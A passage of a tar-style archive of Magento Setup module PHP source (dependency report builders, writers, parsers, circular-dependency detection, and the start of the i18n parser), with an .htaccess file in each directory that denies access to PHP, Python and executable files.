0; foreach ($this->getDependencies() as $dependency) { if ($dependency->isHard()) { $dependenciesCount++; } } return $dependenciesCount; } /** * Get soft dependencies count * * @return int */ public function getSoftDependenciesCount() { $dependenciesCount = 0; foreach ($this->getDependencies() as $dependency) { if ($dependency->isSoft()) { $dependenciesCount++; } } return $dependenciesCount; } } Magento/Setup/Module/Dependency/Report/Dependency/Data/Dependency.php000077700000002571151323623130021545 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Dependency\Data; /** * Dependency */ class Dependency { /**#@+ * Dependencies types */ const TYPE_HARD = 'hard'; const TYPE_SOFT = 'soft'; /**#@-*/ /**#@-*/ protected $module; /** * Dependency type * * @var string */ protected $type; /** * Dependency construct * * @param string $module * @param string $type One of self::TYPE_* constants */ public function __construct($module, $type = self::TYPE_HARD) { $this->module = $module; $this->type = self::TYPE_SOFT == $type ? self::TYPE_SOFT : self::TYPE_HARD; } /** * Get module * * @return string */ public function getModule() { return $this->module; } /** * Get type * * @return string */ public function getType() { return $this->type; } /** * Check is hard dependency * * @return bool */ public function isHard() { return self::TYPE_HARD == $this->getType(); } /** * Check is soft dependency * * @return bool */ public function isSoft() { return self::TYPE_SOFT == $this->getType(); } } Magento/Setup/Module/Dependency/Report/Dependency/Data/.htaccess000077700000000177151323623130020554 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Dependency/.htaccess000077700000000177151323623130017703 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Writer/Csv/AbstractWriter.php000077700000003555151323623130021512 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Writer\Csv; use Magento\Setup\Module\Dependency\Report\Data\ConfigInterface; use Magento\Setup\Module\Dependency\Report\WriterInterface; /** * Abstract csv file writer for reports */ abstract class AbstractWriter implements WriterInterface { /** * Csv write object * * @var \Magento\Framework\File\Csv */ protected $writer; /** * Writer constructor * * @param \Magento\Framework\File\Csv $writer */ public function __construct($writer) { $this->writer = $writer; } /** * Template method. Main algorithm * * {@inheritdoc} */ public function write(array $options, ConfigInterface $config) { $this->checkOptions($options); $this->writeToFile($options['report_filename'], $this->prepareData($config)); } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { if (!isset($options['report_filename']) || empty($options['report_filename'])) { throw new \InvalidArgumentException('Writing error: Passed option "report_filename" is wrong.'); } } /** * Template method. Prepare data step * * @param \Magento\Setup\Module\Dependency\Report\Data\ConfigInterface $config * @return array */ abstract protected function prepareData($config); /** * Template method. Write to file step * * @param string $filename * @param array $data * @return void */ protected function writeToFile($filename, $data) { $this->writer->saveData($filename, $data); } } Magento/Setup/Module/Dependency/Report/Writer/Csv/.htaccess000077700000000177151323623130017634 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Writer/.htaccess000077700000000177151323623130017101 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Builder/AbstractBuilder.php000077700000004443151323623130021200 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Builder; use Magento\Setup\Module\Dependency\ParserInterface; use Magento\Setup\Module\Dependency\Report\BuilderInterface; use Magento\Setup\Module\Dependency\Report\WriterInterface; /** * Abstract report builder by config files */ abstract class AbstractBuilder implements BuilderInterface { /** * Dependencies parser * * @var \Magento\Setup\Module\Dependency\ParserInterface */ protected $dependenciesParser; /** * Report writer * * @var \Magento\Setup\Module\Dependency\Report\WriterInterface */ protected $reportWriter; /** * @var array */ protected $options = []; /** * Builder constructor * * @param ParserInterface $dependenciesParser * @param WriterInterface $reportWriter */ public function __construct(ParserInterface $dependenciesParser, WriterInterface $reportWriter) { $this->dependenciesParser = $dependenciesParser; $this->reportWriter = $reportWriter; } /** * Template method. Main algorithm * * {@inheritdoc} */ public function build(array $options) { $this->checkOptions($options); $this->options = $options; $config = $this->buildData($this->dependenciesParser->parse($options['parse'])); $this->reportWriter->write($options['write'], $config); } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { if (!isset($options['parse']) || empty($options['parse'])) { throw new \InvalidArgumentException('Passed option section "parse" is wrong.'); } if (!isset($options['write']) || empty($options['write'])) { throw new \InvalidArgumentException('Passed option section "write" is wrong.'); } } /** * Template method. Prepare data for writer step * * @param array $modulesData * @return \Magento\Setup\Module\Dependency\Report\Data\ConfigInterface */ abstract protected function buildData($modulesData); } Magento/Setup/Module/Dependency/Report/Builder/.htaccess000077700000000177151323623130017213 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Framework/Writer.php000077700000002324151323623130017745 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Framework; use Magento\Setup\Module\Dependency\Report\Writer\Csv\AbstractWriter; /** * Csv file writer for framework dependencies report */ class Writer extends AbstractWriter { /** * Template method. Prepare data step * * @param \Magento\Setup\Module\Dependency\Report\Framework\Data\Config $config * @return array */ protected function prepareData($config) { $data[] = ['Dependencies of framework:', 'Total number']; $data[] = ['', $config->getDependenciesCount()]; $data[] = []; if ($config->getDependenciesCount()) { $data[] = ['Dependencies for each module:', '']; foreach ($config->getModules() as $module) { $data[] = [$module->getName(), $module->getDependenciesCount()]; foreach ($module->getDependencies() as $dependency) { $data[] = [' -- ' . $dependency->getLib(), $dependency->getCount()]; } $data[] = []; } } array_pop($data); return $data; } } Magento/Setup/Module/Dependency/Report/Framework/Builder.php000077700000005017151323623130020061 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Framework; use Magento\Setup\Module\Dependency\ParserInterface; use Magento\Setup\Module\Dependency\Report\Builder\AbstractBuilder; use Magento\Setup\Module\Dependency\Report\WriterInterface; /** * Framework dependencies report builder */ class Builder extends AbstractBuilder { /** * Config parser * * @var \Magento\Setup\Module\Dependency\ParserInterface */ protected $configParser; /** * Builder constructor * * @param ParserInterface $dependenciesParser * @param WriterInterface $reportWriter * @param ParserInterface $configParser */ public function __construct( ParserInterface $dependenciesParser, WriterInterface $reportWriter, ParserInterface $configParser ) { parent::__construct($dependenciesParser, $reportWriter); $this->configParser = $configParser; } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { parent::checkOptions($options); if (!isset($options['parse']['config_files']) || empty($options['parse']['config_files'])) { throw new \InvalidArgumentException('Parse error. Passed option "config_files" is wrong.'); } } /** * Template method. Prepare data for writer step * * @param array $modulesData * @return \Magento\Setup\Module\Dependency\Report\Framework\Data\Config */ protected function buildData($modulesData) { $allowedModules = $this->getAllowedModules(); $modules = []; foreach ($modulesData as $moduleData) { $dependencies = []; foreach ($moduleData['dependencies'] as $dependencyData) { if (!in_array($dependencyData['lib'], $allowedModules)) { $dependencies[] = new Data\Dependency($dependencyData['lib'], $dependencyData['count']); } } $modules[] = new Data\Module($moduleData['name'], $dependencies); } return new Data\Config($modules); } /** * Get allowed modules * * @return array */ protected function getAllowedModules() { return $this->configParser->parse(['files_for_parse' => $this->options['parse']['config_files']]); } } Magento/Setup/Module/Dependency/Report/Framework/Data/Config.php000077700000001247151323623130020552 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Framework\Data; use Magento\Setup\Module\Dependency\Report\Data\Config\AbstractConfig; /** * Config * * @method \Magento\Setup\Module\Dependency\Report\Framework\Data\Module[] getModules() */ class Config extends AbstractConfig { /** * {@inheritdoc} */ public function getDependenciesCount() { $dependenciesCount = 0; foreach ($this->getModules() as $module) { $dependenciesCount += $module->getDependenciesCount(); } return $dependenciesCount; } } Magento/Setup/Module/Dependency/Report/Framework/Data/Module.php000077700000002417151323623130020572 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Framework\Data; /** * Module */ class Module { /** * Module name * * @var string */ protected $name; /** * Module dependencies * * @var \Magento\Setup\Module\Dependency\Report\Framework\Data\Dependency[] */ protected $dependencies; /** * Module construct * * @param array $name * @param \Magento\Setup\Module\Dependency\Report\Framework\Data\Dependency[] $dependencies */ public function __construct($name, array $dependencies = []) { $this->name = $name; $this->dependencies = $dependencies; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Get dependencies * * @return \Magento\Setup\Module\Dependency\Report\Framework\Data\Dependency[] */ public function getDependencies() { return $this->dependencies; } /** * Get total dependencies count * * @return int */ public function getDependenciesCount() { return count($this->dependencies); } } Magento/Setup/Module/Dependency/Report/Framework/Data/Dependency.php000077700000001544151323623130021423 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Framework\Data; /** * Dependency */ class Dependency { /** * Lib we depend on * * @var string */ protected $lib; /** * Dependencies count * * @var int */ protected $count; /** * Dependency construct * * @param string $lib * @param int $count */ public function __construct($lib, $count) { $this->lib = $lib; $this->count = $count; } /** * Get lib * * @return string */ public function getLib() { return $this->lib; } /** * Get count * * @return int */ public function getCount() { return $this->count; } } Magento/Setup/Module/Dependency/Report/Framework/Data/.htaccess000077700000000177151323623130020433 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Framework/.htaccess000077700000000177151323623130017562 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Data/Config/AbstractConfig.php000077700000001405151323623130021502 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Data\Config; use Magento\Setup\Module\Dependency\Report\Data\ConfigInterface; /** * Config */ abstract class AbstractConfig implements ConfigInterface { /** * Modules * * @var array */ private $modules; /** * Config construct * * @param array $modules */ public function __construct(array $modules = []) { $this->modules = $modules; } /** * {@inheritdoc} */ public function getModules() { return $this->modules; } /** * {@inheritdoc} */ abstract public function getDependenciesCount(); } Magento/Setup/Module/Dependency/Report/Data/Config/.htaccess000077700000000177151323623130017703 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Data/.htaccess000077700000000177151323623130016476 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Data/ConfigInterface.php000077700000000655151323623130020440 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Data; /** * Config */ interface ConfigInterface { /** * Get modules * * @return array */ public function getModules(); /** * Get total dependencies count * * @return int */ public function getDependenciesCount(); } Magento/Setup/Module/Dependency/Report/WriterInterface.php000077700000001023151323623130017624 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report; use Magento\Setup\Module\Dependency\Report\Data\ConfigInterface; /** * Writer Interface */ interface WriterInterface { /** * Write a report file * * @param array $options * @param \Magento\Setup\Module\Dependency\Report\Data\ConfigInterface $config * @return void */ public function write(array $options, ConfigInterface $config); } Magento/Setup/Module/Dependency/Report/BuilderInterface.php000077700000000542151323623130017743 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report; /** * Builder Interface */ interface BuilderInterface { /** * Build a report * * @param array $options * @return void */ public function build(array $options); } Magento/Setup/Module/Dependency/Report/.htaccess000077700000000177151323623130015625 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Parser/Config/Xml.php000077700000003624151323623130016466 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Parser\Config; use Magento\Setup\Module\Dependency\ParserInterface; /** * Config xml parser */ class Xml implements ParserInterface { /** * Template method. Main algorithm * * {@inheritdoc} */ public function parse(array $options) { $this->checkOptions($options); $modules = []; foreach ($options['files_for_parse'] as $file) { $config = $this->getModuleConfig($file); $modules[] = $this->extractModuleName($config); } return $modules; } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { if (!isset( $options['files_for_parse'] ) || !is_array( $options['files_for_parse'] ) || !$options['files_for_parse'] ) { throw new \InvalidArgumentException('Parse error: Option "files_for_parse" is wrong.'); } } /** * Template method. Extract module step * * @param \SimpleXMLElement $config * @return string */ protected function extractModuleName($config) { return $this->prepareModuleName((string)$config->attributes()->name); } /** * Template method. Load module config step * * @param string $file * @return \SimpleXMLElement */ protected function getModuleConfig($file) { return \simplexml_load_file($file)->xpath('/config/module')[0]; } /** * Prepare module name * * @param string $name * @return string */ protected function prepareModuleName($name) { return str_replace('_', '\\', $name); } } Magento/Setup/Module/Dependency/Parser/Config/.htaccess000077700000000177151323623130017013 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Parser/.htaccess000077700000000177151323623130015606 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Parser/Code.php000077700000006224151323623130015372 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Parser; use Magento\Setup\Module\Dependency\ParserInterface; /** * Code parser */ class Code implements ParserInterface { /** * Declared namespaces * * @var array */ protected $declaredNamespaces; /** * Template method. Main algorithm * * {@inheritdoc} */ public function parse(array $options) { $this->checkOptions($options); $this->declaredNamespaces = $options['declared_namespaces']; $pattern = '#\b((?<module>(' . implode( '[\\\\]|', $this->declaredNamespaces ) . '[\\\\])[a-zA-Z0-9]+)[a-zA-Z0-9_\\\\]*)\b#'; $modules = []; foreach ($options['files_for_parse'] as $file) { $content = file_get_contents($file); $module = $this->extractModuleName($file); // also collect modules without dependencies if (!isset($modules[$module])) { $modules[$module] = ['name' => $module, 'dependencies' => []]; } if (preg_match_all($pattern, $content, $matches)) { $dependencies = array_count_values($matches['module']); foreach ($dependencies as $dependency => $count) { if ($module == $dependency) { continue; } if (isset($modules[$module]['dependencies'][$dependency])) { $modules[$module]['dependencies'][$dependency]['count'] += $count; } else { $modules[$module]['dependencies'][$dependency] = [ 'lib' => $dependency, 'count' => $count, ]; } } } } return $modules; } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { if (!isset( $options['files_for_parse'] ) || !is_array( $options['files_for_parse'] ) || !$options['files_for_parse'] ) { throw new \InvalidArgumentException('Parse error: Option "files_for_parse" is wrong.'); } if (!isset( $options['declared_namespaces'] ) || !is_array( $options['declared_namespaces'] ) || !$options['declared_namespaces'] ) { throw new \InvalidArgumentException('Parse error: Option "declared_namespaces" is wrong.'); } } /** * Extract module name form file path * * @param string $file * @return string */ protected function extractModuleName($file) { $pattern = '#code/(?<namespace>' . $this->declaredNamespaces[0] . ')[/_\\\\]?(?<module>[^/]+)/#'; if (preg_match($pattern, $file, $matches)) { return $matches['namespace'] . '\\' . $matches['module']; } return ''; } } Magento/Setup/Module/Dependency/Parser/Composer/.htaccess000077700000000177151323623130017375 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Parser/Composer/Json.php000077700000005552151323623130017223 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Parser\Composer; use Magento\Framework\Config\Composer\Package; use Magento\Setup\Module\Dependency\ParserInterface; /** * Composer Json parser */ class Json implements ParserInterface { /** * {@inheritdoc} */ public function parse(array $options) { $this->checkOptions($options); $modules = []; foreach ($options['files_for_parse'] as $file) { $package = $this->getModuleComposerPackage($file); $modules[] = [ 'name' => $this->extractModuleName($package), 'dependencies' => $this->extractDependencies($package), ]; } return $modules; } /** * Template method. Check passed options step * * @param array $options * @return void * @throws \InvalidArgumentException */ protected function checkOptions($options) { if (!isset( $options['files_for_parse'] ) || !is_array( $options['files_for_parse'] ) || !$options['files_for_parse'] ) { throw new \InvalidArgumentException('Parse error: Option "files_for_parse" is wrong.'); } } /** * Template method. Extract module step * * @param Package $package * @return string */ protected function extractModuleName($package) { return $this->prepareModuleName((string)$package->get('name')); } /** * Template method. Extract dependencies step * * @param Package $package * @return array */ protected function extractDependencies($package) { $dependencies = []; $requires = $package->get('require', '/.+\/module-/'); if ($requires) { foreach ($requires as $key => $value) { $dependencies[] = [ 'module' => $this->prepareModuleName($key), 'type' => 'hard', ]; } } $suggests = $package->get('suggest', '/.+\/module-/'); if ($suggests) { foreach ($suggests as $key => $value) { $dependencies[] = [ 'module' => $this->prepareModuleName($key), 'type' => 'soft', ]; } } return $dependencies; } /** * Template method. Load module config step * * @param string $file * @return Package */ protected function getModuleComposerPackage($file) { return new Package(json_decode(file_get_contents($file))); } /** * Prepare module name * * @param string $name * @return string */ protected function prepareModuleName($name) { return $name; } } Magento/Setup/Module/Dependency/Circular.php000077700000007256151323623130015036 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency; use Magento\Framework\Data\Graph; /** * Build circular dependencies by modules map */ class Circular { /** * Map where the key is the vertex and the value are the adjacent vertices(dependencies) of this vertex * * @var array */ protected $dependencies = []; /** * Modules circular dependencies map * * @var array */ protected $circularDependencies = []; /** * Graph object * * @var \Magento\Framework\Data\Graph */ protected $graph; /** * Build modules dependencies * * @param array $dependencies Key is the vertex and the value are the adjacent vertices(dependencies) of this vertex * @return array */ public function buildCircularDependencies($dependencies) { $this->init($dependencies); foreach (array_keys($this->dependencies) as $vertex) { $this->expandDependencies($vertex); } $circulars = $this->graph->findCycle(null, false); foreach ($circulars as $circular) { array_shift($circular); $this->buildCircular($circular); } return $this->divideByModules($this->circularDependencies); } /** * Init data before building * * @param array $dependencies * @return void */ protected function init($dependencies) { $this->dependencies = $dependencies; $this->circularDependencies = []; $this->graph = new Graph(array_keys($this->dependencies), []); } /** * Expand modules dependencies from chain * * @param string $vertex * @param array $path nesting path * @return void */ protected function expandDependencies($vertex, $path = []) { if (!$this->dependencies[$vertex]) { return; } $path[] = $vertex; foreach ($this->dependencies[$vertex] as $dependency) { if (!isset($this->dependencies[$dependency])) { // dependency vertex is not described in basic definition continue; } $relations = $this->graph->getRelations(); if (isset($relations[$vertex][$dependency])) { continue; } $this->graph->addRelation($vertex, $dependency); $searchResult = array_search($dependency, $path); if (false !== $searchResult) { $this->buildCircular(array_slice($path, $searchResult)); break; } else { $this->expandDependencies($dependency, $path); } } } /** * Build all circular dependencies based on chain * * @param array $modules * @return void */ protected function buildCircular($modules) { $path = '/' . implode('/', $modules); if (isset($this->circularDependencies[$path])) { return; } $this->circularDependencies[$path] = $modules; $modules[] = array_shift($modules); $this->buildCircular($modules); } /** * Divide dependencies by modules * * @param array $circularDependencies * @return array */ protected function divideByModules($circularDependencies) { $dependenciesByModule = []; foreach ($circularDependencies as $circularDependency) { $module = $circularDependency[0]; $circularDependency[] = $module; $dependenciesByModule[$module][] = $circularDependency; } return $dependenciesByModule; } } Magento/Setup/Module/Dependency/ServiceLocator.php000077700000011466151323623130016214 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency; use Magento\Framework\File\Csv; use Magento\Framework\Filesystem\Driver\File; use Magento\Setup\Module\Dependency\Circular as CircularTool; use Magento\Setup\Module\Dependency\Report\Circular as CircularReport; use Magento\Setup\Module\Dependency\Report\Dependency; use Magento\Setup\Module\Dependency\Report\Framework; /** * Service Locator (instead DI container) * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ServiceLocator { /** * Xml config dependencies parser * * @var \Magento\Setup\Module\Dependency\ParserInterface */ private static $xmlConfigParser; /** * Composer Json parser * * @var \Magento\Setup\Module\Dependency\ParserInterface */ private static $composerJsonParser; /** * Framework dependencies parser * * @var \Magento\Setup\Module\Dependency\ParserInterface */ private static $frameworkDependenciesParser; /** * Modules dependencies report builder * * @var \Magento\Setup\Module\Dependency\Report\BuilderInterface */ private static $dependenciesReportBuilder; /** * Modules circular dependencies report builder * * @var \Magento\Setup\Module\Dependency\Report\BuilderInterface */ private static $circularDependenciesReportBuilder; /** * Framework dependencies report builder * * @var \Magento\Setup\Module\Dependency\Report\BuilderInterface */ private static $frameworkDependenciesReportBuilder; /** * Csv file writer * * @var \Magento\Framework\File\Csv */ private static $csvWriter; /** * Get modules dependencies report builder * * @return \Magento\Setup\Module\Dependency\Report\BuilderInterface */ public static function getDependenciesReportBuilder() { if (null === self::$dependenciesReportBuilder) { self::$dependenciesReportBuilder = new Dependency\Builder( self::getComposerJsonParser(), new Dependency\Writer(self::getCsvWriter()) ); } return self::$dependenciesReportBuilder; } /** * Get modules circular dependencies report builder * * @return \Magento\Setup\Module\Dependency\Report\BuilderInterface */ public static function getCircularDependenciesReportBuilder() { if (null === self::$circularDependenciesReportBuilder) { self::$circularDependenciesReportBuilder = new CircularReport\Builder( self::getComposerJsonParser(), new CircularReport\Writer(self::getCsvWriter()), new CircularTool() ); } return self::$circularDependenciesReportBuilder; } /** * Get framework dependencies report builder * * @return \Magento\Setup\Module\Dependency\Report\BuilderInterface */ public static function getFrameworkDependenciesReportBuilder() { if (null === self::$frameworkDependenciesReportBuilder) { self::$frameworkDependenciesReportBuilder = new Framework\Builder( self::getFrameworkDependenciesParser(), new Framework\Writer(self::getCsvWriter()), self::getXmlConfigParser() ); } return self::$frameworkDependenciesReportBuilder; } /** * Get modules dependencies parser * * @return \Magento\Setup\Module\Dependency\ParserInterface */ private static function getXmlConfigParser() { if (null === self::$xmlConfigParser) { self::$xmlConfigParser = new Parser\Config\Xml(); } return self::$xmlConfigParser; } /** * Get modules dependencies from composer.json parser * * @return \Magento\Setup\Module\Dependency\ParserInterface */ private static function getComposerJsonParser() { if (null === self::$composerJsonParser) { self::$composerJsonParser = new Parser\Composer\Json(); } return self::$composerJsonParser; } /** * Get framework dependencies parser * * @return \Magento\Setup\Module\Dependency\ParserInterface */ private static function getFrameworkDependenciesParser() { if (null === self::$frameworkDependenciesParser) { self::$frameworkDependenciesParser = new Parser\Code(); } return self::$frameworkDependenciesParser; } /** * Get csv file writer * * @return \Magento\Framework\File\Csv */ private static function getCsvWriter() { if (null === self::$csvWriter) { self::$csvWriter = new Csv(new File()); } return self::$csvWriter; } } Magento/Setup/Module/Dependency/.htaccess000077700000000177151323623130014352 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/ParserInterface.php000077700000000526151323623130016340 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency; /** * Parser Interface */ interface ParserInterface { /** * Parse files * * @param array $options * @return array */ public function parse(array $options); } Magento/Setup/Module/DataSetupFactory.php000077700000001563151323623130014431 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Magento\Setup\Model\ObjectManagerProvider; /** * Factory class to create DataSetup * @api */ class DataSetupFactory { /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; } /** * Creates DataSetup * * @return DataSetup */ public function create() { $objectManager = $this->objectManagerProvider->get(); return new DataSetup($objectManager->get(\Magento\Framework\Module\Setup\Context::class)); } } Magento/Setup/Module/ResourceFactory.php000077700000002305151323623130014321 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\ResourceConnection; use Magento\Setup\Module\Setup\ResourceConfig; /** * Factory for Magento\Framework\App\ResourceConnection */ class ResourceFactory { /** * Laminas Framework's service locator * * @var ServiceLocatorInterface */ protected $serviceLocator; /** * @param ServiceLocatorInterface $serviceLocator */ public function __construct(ServiceLocatorInterface $serviceLocator) { $this->serviceLocator = $serviceLocator; } /** * Create object * * @param DeploymentConfig $deploymentConfig * @return ResourceConnection */ public function create(DeploymentConfig $deploymentConfig) { $connectionFactory = $this->serviceLocator->get(ConnectionFactory::class); $resource = new ResourceConnection( new ResourceConfig(), $connectionFactory, $deploymentConfig ); return $resource; } } Magento/Setup/Module/I18n/Parser/AbstractParser.php000077700000006022151323623130016075 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser; use Magento\Setup\Module\I18n; /** * Abstract parser */ abstract class AbstractParser implements I18n\ParserInterface { /** * Files collector * * @var \Magento\Setup\Module\I18n\FilesCollector */ protected $_filesCollector = []; /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ protected $_factory; /** * Adapters * * @var \Magento\Setup\Module\I18n\Parser\AdapterInterface[] */ protected $_adapters = []; /** * Parsed phrases * * @var array */ protected $_phrases = []; /** * Parser construct * * @param I18n\FilesCollector $filesCollector * @param I18n\Factory $factory */ public function __construct(I18n\FilesCollector $filesCollector, I18n\Factory $factory) { $this->_filesCollector = $filesCollector; $this->_factory = $factory; } /** * Add parser * * @param string $type * @param AdapterInterface $adapter * @return void */ public function addAdapter($type, AdapterInterface $adapter) { $this->_adapters[$type] = $adapter; } /** * {@inheritdoc} */ public function parse(array $parseOptions) { $this->_validateOptions($parseOptions); foreach ($parseOptions as $typeOptions) { $this->_parseByTypeOptions($typeOptions); } return $this->_phrases; } /** * Parse one type * * @param array $options * @return void */ abstract protected function _parseByTypeOptions($options); /** * Validate options * * @param array $parseOptions * @return void * @throws \InvalidArgumentException */ protected function _validateOptions($parseOptions) { foreach ($parseOptions as $parserOptions) { if (empty($parserOptions['type'])) { throw new \InvalidArgumentException('Missed "type" in parser options.'); } if (!isset($this->_adapters[$parserOptions['type']])) { throw new \InvalidArgumentException( sprintf('Adapter is not set for type "%s".', $parserOptions['type']) ); } if (!isset($parserOptions['paths']) || !is_array($parserOptions['paths'])) { throw new \InvalidArgumentException('"paths" in parser options must be array.'); } } } /** * Get files for parsing * * @param array $options * @return array */ protected function _getFiles($options) { $fileMask = isset($options['fileMask']) ? $options['fileMask'] : ''; return $this->_filesCollector->getFiles($options['paths'], $fileMask); } /** * {@inheritdoc} */ public function getPhrases() { return $this->_phrases; } } Magento/Setup/Module/I18n/Parser/Parser.php000077700000002513151323623130014412 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser; /** * Parser */ class Parser extends AbstractParser { /** * Parse one type * * @param array $options * @return void */ protected function _parseByTypeOptions($options) { foreach ($this->_getFiles($options) as $file) { $adapter = $this->_adapters[$options['type']]; $adapter->parse($file); foreach ($adapter->getPhrases() as $phraseData) { $this->_addPhrase($phraseData); } } } /** * Add phrase * * @param array $phraseData * @return void */ protected function _addPhrase($phraseData) { try { $phrase = $this->_factory->createPhrase([ 'phrase' => $phraseData['phrase'], 'translation' => $phraseData['phrase'], 'quote' => $phraseData['quote'], ]); $this->_phrases[$phrase->getCompiledPhrase()] = $phrase; } catch (\DomainException $e) { throw new \DomainException( "{$e->getMessage()} in {$phraseData['file']}:{$phraseData['line']}", $e->getCode(), $e ); } } } Magento/Setup/Module/I18n/Parser/Adapter/Xml.php000077700000004515151323623130015302 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter; /** * Xml parser adapter * * Parse "translate" and 'translatable' node and collect phrases: * - 